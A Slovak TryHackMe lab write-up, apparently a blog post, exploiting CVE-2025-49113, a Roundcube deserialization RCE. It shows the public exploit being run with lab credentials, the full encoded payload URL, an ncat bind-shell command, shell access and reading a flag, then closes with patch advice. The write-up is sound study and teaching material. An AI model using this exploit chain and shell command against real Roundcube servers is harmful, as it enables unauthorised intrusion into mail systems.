Príspevok

TryHackMe - Roundcube

Exploit zraniteľnosti CVE-2025-49113 v labe

TryHackMe - Roundcube

Úvod

Táto miestnosť nás ma naučiť, ako fungujú zraniteľnosti v deserializácii. Serializácia mení objekt (napríklad v PHP, Jave alebo Pythone) do formátu, ktorý môžeme uložiť alebo odoslať. Deserializácia robí opak – ale ak sa vstup správne neoverí, útočníci to môžu zneužiť na spustenie škodlivého kódu.

Kirill Firsov objavil takúto chybu v Roundcube Webmail. Problém bol v súbore upload.php, kde parameter _from nebol bezpečne overený pred deserializáciou. Komity pre verzie 1.5.10 a 1.6.11 ukazujú, ako to opravili – pridali kontroly na blokovanie nebezpečných znakov v _from.

Tryhackme Room Link

Nmap

Zdá sa, že máme presný odkaz a prihlasovacie údaje, takže použitie nmap nie je potrebné.

Exploitation

Navštívme http://10.10.191.67/roundcube, ako je to uvedené.

Zobrazí sa nám prihlasovací formulár Roundcube:

Loop

Použime poskytnuté prihlasovacie údaje:

Username: ellieptic

Password: ChangeMe123

Stiahnime si náš Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113                                                   
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/                                                                                         

┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls                                                                                                         
CVE-2025-49113.php  rc_install.sh  README.md

Spustenie exploitu

Na spustenie exploitu musíme pridať argumenty takto: php CVE-2025-49113.php target_url username password command

Urobme to a počkajme na dokončenie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"  
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: ellieptic

### Authentication successful

### Command to be executed: 
ncat -lvnp 4444 -e /bin/bash

### Injecting payload...

### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

PHP Warning:  file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body

Vidíme, že sa objavila chyba, no príkaz netcat prešiel a môžeme sa pripojiť a vykonávať príkazy:

1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444                                                                                       
pwd
/var/www/html/roundcube

Otázka: Jedna z používateľov sa volá Maggie; aké je jej priezvisko?

1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu

Odpoveď:

1
Byte

Otázka: Aká je hodnota vlajky (flag) uložená v /etc?

1
2
cd /etc
cat flag.txt

Flag

Táto zraniteľnosť vyžaduje iba platné prihlasovacie údaje do webmailu a funguje na štandardných inštaláciách Roundcube. Je ťažko rozpoznateľná, pretože tok dát spojený s exploitom môže vyzerať úplne normálne. Vzhľadom na jej závažnosť by používatelia verzií 1.5.x alebo 1.6.x mali aktualizovať na 1.5.10 alebo 1.6.11. Ak aktualizácia nie je možná, dočasným riešením je blokovať prístup k súboru upload.php.

Tento príspevok je licencovaný pod CC BY 4.0 autorom.